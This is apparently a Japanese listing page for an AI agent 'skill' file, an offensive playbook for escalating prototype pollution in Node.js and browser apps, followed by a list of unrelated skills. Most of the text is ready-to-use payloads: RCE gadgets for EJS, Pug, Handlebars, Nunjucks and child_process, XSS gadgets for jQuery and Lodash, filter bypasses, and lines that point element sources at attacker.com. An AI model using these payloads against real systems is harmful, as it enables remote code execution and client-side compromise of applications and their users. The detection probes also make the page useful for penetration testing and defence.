prototype-pollution-advanced
プロトタイプ汚染の高度な攻撃手法を扱うプレイブック。サーバーサイドRCE、クライアントサイドガジェット、フィルターバイパス、および検出技術を網羅する。基礎編(`../prototype-pollution/`)の続編として位置づけられており、汚染が確認された後にコード実行へのエスカレーションやフレームワーク固有のガジェット探索が必要な場面で活用する。
description の原文を見る
>- Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.
SKILL.md 本文
SKILL: プロトタイプ汚染アドバンス — RCE & ガジェット悪用
AI LOAD INSTRUCTION: プロトタイプ汚染の高度なエスカレーション。テンプレートエンジン(EJS、Pug、Handlebars)経由のサーバーサイドRCE、Node.jsの child_process ガジェット、クライアントサイドスクリプトガジェット、フィルタバイパスパターン、および体系的な検出をカバーします。基礎知識については
../prototype-pollution/SKILL.mdを先に読み込んでください(マージシンク、__proto__vsconstructor.prototype、基本的なプローブ)。
0. 関連ルーティング
prototype-pollution— 最初に読み込み プロトタイプ汚染の基礎、マージシンク検出、基本的なプローブssti-server-side-template-injection— テンプレートエンジンRCEのコンテキスト(プロトタイプ汚染はテンプレートガジェット経由でトリガーされることが多い)xss-cross-site-scripting— クライアントサイドプロトタイプ汚染ガジェットは最終的にXSSを実現
アドバンス参考資料
KNOWN_GADGETS.md を読み込んで、フレームワーク/ライブラリごとの包括的なガジェットテーブル(汚染されたプロパティ、トリガー条件、影響、影響を受けるバージョン)を確認してください。
1. サーバーサイド PP → RCE
1.1 Node.js child_process.spawn — シェル/ENV インジェクション
child_process.spawn または child_process.fork が明示的な env/shell オプションなしで呼び出されるとき、Object.prototype から継承されます:
// 脆弱なパターン (非常に一般的):
const { execSync } = require('child_process');
execSync('ls'); // シェル、env をプロトタイプから継承
// RCEのための汚染:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// 次の child_process 呼び出しが攻撃者コードを実行
代替のENV汚染:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
1.2 EJS (Embedded JavaScript Templates)
EJS の render() はオブジェクトプロパティから opts を読み込みます。outputFunctionName を汚染すると、コンパイルされたテンプレート関数にコードをインジェクトします:
// 汚染ペイロード:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
// 汚染後にEJSが任意のテンプレートをレンダリングするとき:
// コンパイルされた関数に含まれる: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE
検出: 汚染後の任意のEJS res.render() 呼び出しがこれをトリガーします。
1.3 Pug (旧Jade)
Pugのコンパイラはオブジェクトプロパティから block を読み込みます:
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
self オプション経由の代替:
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}
1.4 Handlebars
HandlebarsテンプレートコンパイルはテンプレートASTノード上の type と program をチェックします:
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}
allowProtoMethodsByDefault 経由のシンプルな方法:
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// その後 {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}} を使用
1.5 Nunjucks
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}
1.6 Express res.render (汎用)
Expressが res.render() を呼び出すとき、オプションが app.locals と res.locals とマージされます。汚染されたプロトタイププロパティはテンプレート変数として現れます:
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}
2. クライアントサイド プロトタイプ汚染
2.1 jQuery ガジェット
$.extend(true, {}, userInput) は深いマージを実行します — 古典的なプロトタイプ汚染シンク。
汚染後、jQueryのHTMLメソッドは汚染されたプロパティを使用します:
// 汚染:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// トリガー: innerHTMLをプロトタイプから読み込むjQuery DOM操作
$('<div>').appendTo('body'); // 汚染されたプロパティを使用する可能性
2.2 Lodash ガジェット
// 脆弱な関数 (深いマージ):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value) // パスが攻撃者制御の場合
// template() ガジェット:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')(); // sourceURL が Function コンストラクタにインジェクトされる
2.3 フレームワークのスクリプトガジェット
「スクリプトガジェット」とは、Object.prototype から読み込み、危険な操作を実行するフレームワークコードパスです:
| フレームワーク | ガジェットパターン | 汚染されるプロパティ | 影響 |
|---|---|---|---|
| jQuery | $.html(), 要素生成 | innerHTML, src | XSS |
| Angular.js | $interpolate | __defineGetter__ | XSS |
| Vue.js | テンプレートコンパイル | template, render | XSS |
| Ember.js | コンポーネントレンダリング | 各種ビュープロパティ | XSS |
| Backbone.js | _.template | sourceURL | XSS |
2.4 DOM プロパティ汚染
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// 動的に作成される要素はこれらを継承する可能性がある
3. 検出技法
3.1 ブラックボックス サーバーサイド検出
ステップ1: インジェクトして確認
POST /api/endpoint
{"__proto__":{"polluted":"yes"}}
その後: GET /api/anything
"polluted" がレスポンスに含まれるか、または動作が変わるかチェック
ステップ2: エラーベース検出
{"__proto__":{"toString":1}}
→ サーバーがクラッシュするか、500を返す場合、toString は上書きされた
{"__proto__":{"valueOf":1}}
→ 同じクラッシュベース検出
ステップ3: レスポンス差分
{"__proto__":{"status":555}}
→ HTTPステータスコードが555に変わるかチェック
{"__proto__":{"content-type":"text/plain"}}
→ Content-Type ヘッダーが変わるかチェック
3.2 ブラックボックス クライアントサイド検出
// アプリケーションと相互作用した後のブラウザコンソール:
Object.prototype.testPollution
// 値を返す場合 → 何かがプロトタイプを汚染した
// 自動化: defineProperty をオーバーライドして書き込みを検出
Object.defineProperty(Object.prototype, '__proto__', {
set: function(v) { console.trace('PP detected!', v); }
});
3.3 自動化ツール
| ツール | タイプ | 目的 |
|---|---|---|
| PPScan | Burp拡張 | サーバーサイドプロトタイプ汚染をスキャン |
| server-side-prototype-pollution | Burp拡張 (Gareth Heyes) | 複数の技法を使用した高度なサーバーサイドプロトタイプ汚染検出 |
| ppfuzz | CLI | URLフラグメント/クエリ経由のクライアントサイドプロトタイプ汚染をファジング |
| ppmap | CLI | クライアントサイドプロトタイプ汚染を既知のガジェットにマッピング |
4. __proto__ フィルタをバイパス
4.1 constructor.prototype パス
// 代わりに:
{"__proto__": {"polluted": "yes"}}
// これを使用:
{"constructor": {"prototype": {"polluted": "yes"}}}
4.2 ブラケット記法のバリエーション
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes (フィルタが __proto__ を一度だけ削除する場合)
4.3 JSON キーのバリエーション
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}
4.4 キーの区別: シャロー vs ディープ
Object.assign はプロトタイプを汚染しません(シャロー コピー、安全)。再帰的/深いマージ関数のみが脆弱です。常にマージの深さを検証してください。
5. 悪用フロー
1. マージシンクを検出 (../prototype-pollution/SKILL.md セクション 0)
└── JSONボディがパースされ、サーバーオブジェクトにディープマージされる
2. 汚染を確認:
└── {"__proto__":{"testxyz":"1"}} → testxyz がグローバルに現れるかチェック
3. テクノロジースタックを特定:
├── Express + EJS → outputFunctionName ガジェット (セクション 1.2)
├── Express + Pug → block ガジェット (セクション 1.3)
├── Express + Handlebars → type/program ガジェット (セクション 1.4)
├── 任意のNode.js with child_process → shell/NODE_OPTIONS (セクション 1.1)
├── クライアントサイド jQuery → DOMガジェット (セクション 2.1)
├── クライアントサイド Lodash → template/sourceURL (セクション 2.2)
└── 不明 → KNOWN_GADGETS.md を体系的に試す
4. ガジェットに合わせてRCE/XSSペイロードを構築
5. 安全なペイロード (sleep / DNSコールバック) で最初に検証
6. 完全なRCEにエスカレート
6. 判定ツリー
プロトタイプ汚染が確認された?
│
├── サーバーサイドまたはクライアントサイド?
│ │
│ ├── サーバーサイド
│ │ ├── テンプレートエンジンが使用されている?
│ │ │ ├── EJS → __proto__.outputFunctionName (セクション 1.2)
│ │ │ ├── Pug → __proto__.block (セクション 1.3)
│ │ │ ├── Handlebars → __proto__.type (セクション 1.4)
│ │ │ ├── Nunjucks → __proto__.type (セクション 1.5)
│ │ │ └── 不明 → KNOWN_GADGETS.md から各ガジェットを試す
│ │ │
│ │ ├── child_process がどこかで使用されている?
│ │ │ ├── はい → __proto__.shell + NODE_OPTIONS (セクション 1.1)
│ │ │ └── かもしれない → インジェクトしてエラーをトリガーしてスタックを公開
│ │ │
│ │ └── 既知のガジェットがない?
│ │ ├── ステータスコード汚染を試す: __proto__.status = 555
│ │ ├── ヘッダー汚染を試す: __proto__.content-type
│ │ └── KNOWN_GADGETS.md でフレームワークマッチを確認
│ │
│ └── クライアントサイド
│ ├── jQueryが読み込まれている?
│ │ ├── はい → $.extend ディープマージ + DOMガジェット (セクション 2.1)
│ │ └── ppmap で自動ガジェット検出をチェック
│ │
│ ├── Lodashが読み込まれている?
│ │ ├── はい → _.template sourceURL ガジェット (セクション 2.2)
│ │ └── _.merge がシンクとガジェットの両方
│ │
│ └── フレームワーク (Angular/Vue/Ember)?
│ └── スクリプトガジェット検索 (セクション 2.3)
│
├── __proto__ キーワードがフィルタされている?
│ ├── constructor.prototype を試す (セクション 4.1)
│ ├── ブラケット記法を試す (セクション 4.2)
│ └── JSON キーバリエーションを試す (セクション 4.3)
│
└── まだ確認されていない?
└── ../prototype-pollution/SKILL.md セクション 0 に戻って検出を行う
7. クイックリファレンス — キーペイロード
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}
// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}
// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}
// フィルタバイパス (constructor パス)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
// 安全な検出プローブ
{"__proto__":{"pptest123":"polluted"}}
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。